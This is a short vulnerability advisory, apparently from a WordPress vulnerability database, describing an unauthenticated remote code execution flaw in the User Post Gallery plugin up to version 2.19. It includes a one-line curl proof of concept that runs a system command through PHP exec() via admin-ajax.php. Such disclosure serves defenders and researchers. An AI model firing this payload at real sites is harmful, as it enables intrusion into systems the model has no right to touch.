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wpvulndbCydaveWPVDB-ID:8F982EBD-6FC5-452D-8280-42E027D01B1E
HistoryDec 23, 2022 - 12:00 a.m.

User Post Gallery <= 2.19 - Unauthenticated RCE

2022-12-2300:00:00
cydave
wpscan.com
23
remote code execution
unauthenticated access
user post gallery plugin
security vulnerability
php exec function

EPSS

0.385

Percentile

97.3%

The plugin does not limit what callback functions can be called by users, making it possible to any visitors to run code on sites running it.

PoC

Invoke the following curl command to execute the “id” command via PHP’s exec() function: curl -i ‘http://127.0.0.1:7777/wp-admin/admin-ajax.php?action=upg_datatable&amp;field;=field:exec:id:NULL:NULL

EPSS

0.385

Percentile

97.3%

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